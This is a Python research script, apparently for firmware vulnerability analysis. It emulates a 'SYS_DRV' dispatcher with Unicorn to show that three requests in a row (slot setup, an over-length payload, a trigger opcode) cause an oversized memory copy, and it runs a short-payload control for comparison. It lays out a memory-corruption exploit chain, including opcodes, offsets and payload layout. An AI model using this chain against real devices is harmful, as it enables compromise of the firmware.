1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
|
#!/usr/bin/env python3
"""Compose the candidate chain through the REAL SYS_DRV dispatcher `sub_E1DC30`.
Steps 1, 2 and 3 have each been executed in isolation with stubbed lookups
(`emulate_slot_setup.py`, `emulate_payload_plant.py`, `emulate_e04b68.py`). The remaining
emulation gap was that they had never been run *as a sequence through the dispatcher*, sharing
one slot table — so state continuity between the requests was assumed, not shown.
This runs three requests back to back against one memory image:
request 1: opcode 1 -- create a slot (format 0x80000032)
request 2: opcode 3 -- send an over-length payload (plants buf[0x88])
request 3: opcode 0xd -- trigger sub_E04B68 and observe the copy lengths
Only two things are stubbed, both because they are OS services rather than logic:
* `sub_E08884` (buffer allocator) -> returns a scratch buffer, zero-filled
* `sub_E0B0F4` (message lookup) -> returns a descriptor pointing at our message object
The slot table at 0xE575B8 is mapped as real memory and **shared across all three requests**,
so continuity is exercised rather than assumed.
Control: the same sequence with a benign (short) payload must NOT produce an oversized copy.
"""
from __future__ import annotations
import struct
import sys
from pathlib import Path
from unicorn import (UC_ARCH_ARM, UC_HOOK_CODE, UC_HOOK_INTR, UC_MODE_THUMB, UC_PROT_ALL,
Uc, UcError)
from unicorn.arm_const import (UC_ARM_REG_LR, UC_ARM_REG_PC, UC_ARM_REG_R0, UC_ARM_REG_R1,
UC_ARM_REG_R2, UC_ARM_REG_SP)
REPO = Path(__file__).resolve().parent.parent.parent
IMG = REPO / "psp_out" / "sys_drv_code.bin"
BASE = 0xE00100
DISPATCH = 0xE1DC30
RET = 0xF0000000
ALLOC, MSGLOOKUP = 0xE08884, 0xE0B0F4
COPY = {0xE018A0, 0xE0192C}
TABLE = 0xE575B8 # the real slot table address (outside the code image)
REQ, MSG, BUF, STACK, GLOB, SRC = (0x50000000, 0x51000000, 0x52000000,
0x53000000, 0x54000000, 0x55000000)
FMT = 0x80000032
class Machine:
def __init__(self):
code = IMG.read_bytes()
self.code = code
uc = Uc(UC_ARCH_ARM, UC_MODE_THUMB)
ib = BASE & ~0xFFF
uc.mem_map(ib, (len(code) + (BASE - ib) + 0xFFFF) & ~0xFFF, UC_PROT_ALL)
uc.mem_write(BASE, code)
uc.mem_map(TABLE & ~0xFFF, 0x10000, UC_PROT_ALL) # the shared slot table
for a in (REQ, MSG, BUF, STACK, GLOB, SRC):
uc.mem_map(a, 0x20000, UC_PROT_ALL)
uc.mem_write(a, b"\x00" * 0x2000)
uc.mem_write(TABLE & ~0xFFF, b"\x00" * 0x8000)
uc.mem_write(SRC, b"\xBB" * 0x2000)
# in-image data-segment pointers -> scratch (except the table literal, kept real)
for off in range(0, len(code) - 4, 4):
w = int.from_bytes(code[off:off + 4], "little")
if 0xE28000 <= w <= 0xE80000 and w != TABLE:
uc.mem_write(BASE + off, GLOB.to_bytes(4, "little"))
self.uc = uc
self.copies: list[tuple[int, int, int]] = []
self.alloc_next = BUF
def on_intr(u, intno, _):
u.reg_write(UC_ARM_REG_R0, 0)
u.reg_write(UC_ARM_REG_PC, u.reg_read(UC_ARM_REG_PC) | 1)
def on_code(u, addr, size, _):
a = addr | 1
if a in (ALLOC | 1,):
size_req = u.reg_read(UC_ARM_REG_R0)
u.mem_write(self.alloc_next, b"\x00" * min(max(size_req, 0x10), 0x4000))
u.reg_write(UC_ARM_REG_R0, self.alloc_next)
u.reg_write(UC_ARM_REG_PC, u.reg_read(UC_ARM_REG_LR) | 1)
elif a in (MSGLOOKUP | 1,):
u.reg_write(UC_ARM_REG_R0, MSG + 0x1000) # descriptor
u.reg_write(UC_ARM_REG_PC, u.reg_read(UC_ARM_REG_LR) | 1)
elif (addr in COPY) or (a in {c | 1 for c in COPY}):
dst, src, ln = (u.reg_read(UC_ARM_REG_R0), u.reg_read(UC_ARM_REG_R1),
u.reg_read(UC_ARM_REG_R2))
self.copies.append((dst, src, ln))
n = min(ln, 0x2000)
try:
u.mem_write(dst, bytes(u.mem_read(src, n)))
except Exception:
pass
u.reg_write(UC_ARM_REG_PC, u.reg_read(UC_ARM_REG_LR) | 1)
elif not (BASE <= addr < BASE + len(code)):
u.emu_stop()
uc.hook_add(UC_HOOK_INTR, on_intr)
uc.hook_add(UC_HOOK_CODE, on_code)
def request(self, opcode: int, setup=None):
uc = self.uc
uc.mem_write(REQ, b"\x00" * 0x200)
uc.mem_write(REQ, struct.pack("<I", opcode))
uc.mem_write(REQ + 0x38, struct.pack("<I", 0x10)) # slot index
uc.mem_write(REQ + 0x3C, struct.pack("<I", FMT)) # format code (req+0x38+4)
uc.mem_write(REQ + 0x40, struct.pack("<I", 6)) # required == 6
uc.mem_write(REQ + 0x44, struct.pack("<I", 0x100)) # capacity operand
if setup:
setup(uc)
self.copies.clear()
uc.reg_write(UC_ARM_REG_SP, STACK + 0x10000)
uc.reg_write(UC_ARM_REG_LR, RET | 1)
uc.reg_write(UC_ARM_REG_R0, REQ)
uc.reg_write(UC_ARM_REG_R1, 1)
uc.reg_write(UC_ARM_REG_R2, 1)
try:
uc.emu_start(DISPATCH | 1, RET, timeout=5_000_000, count=400_000)
except UcError:
pass
return list(self.copies)
def slot(self, idx=0x10):
off = TABLE + 84 * (idx - 0x10)
w = lambda o: struct.unpack_from("<I", self.uc.mem_read(off + o, 4))[0]
return {"slot[0]": w(0), "cap": w(0x48), "buf": w(0x4C)}
def sequence(payload_len: int, marker: int):
m = Machine()
def msg_setup(uc):
uc.mem_write(MSG + 0x1000 + 4, struct.pack("<I", MSG)) # descriptor -> message
uc.mem_write(MSG + 4, struct.pack("<I", payload_len))
uc.mem_write(MSG + 0x6C, struct.pack("<I", 0x20000))
uc.mem_write(MSG + 0x70, b"\x41" * 0x400)
uc.mem_write(MSG + 0x70 + 0x88, struct.pack("<I", marker))
c1 = m.request(1, msg_setup)
s1 = m.slot()
c2 = m.request(3, msg_setup)
s2 = m.slot()
cnt = 0
if s2["buf"]:
cnt = struct.unpack_from("<I", m.uc.mem_read(s2["buf"] + 0x88, 4))[0]
c3 = m.request(0xD, msg_setup)
return s1, s2, cnt, c3
def main() -> int:
print("Composing opcodes 1 -> 3 -> 0xd through the real dispatcher sub_E1DC30\n")
for payload_len, marker, label in ((0x200, 0x00000500, "ATTACK (over-length payload)"),
(0x40, 0x00000500, "CONTROL (short payload)")):
s1, s2, cnt, c3 = sequence(payload_len, marker)
print("%s" % label)
print(" after opcode 1 : slot[0]=%#x cap=%#x buf=%#x" % (s1["slot[0]"], s1["cap"], s1["buf"]))
print(" after opcode 3 : buf[0x88]=%#x" % cnt)
mx = max((ln for _, _, ln in c3), default=0)
print(" opcode 0xd : %d copy call(s), max len %#x%s"
% (len(c3), mx, " <<< OVERSIZED" if mx > 0x10000 else ""))
for dst, src, ln in c3[:4]:
print(" dst=%#-12x src=%#-12x len=%#x" % (dst, src, ln))
print()
print("Scope: real dispatcher and real handler code, with the allocator and message")
print("lookup stubbed as OS services. Not silicon.")
return 0
if __name__ == "__main__":
sys.exit(main())
|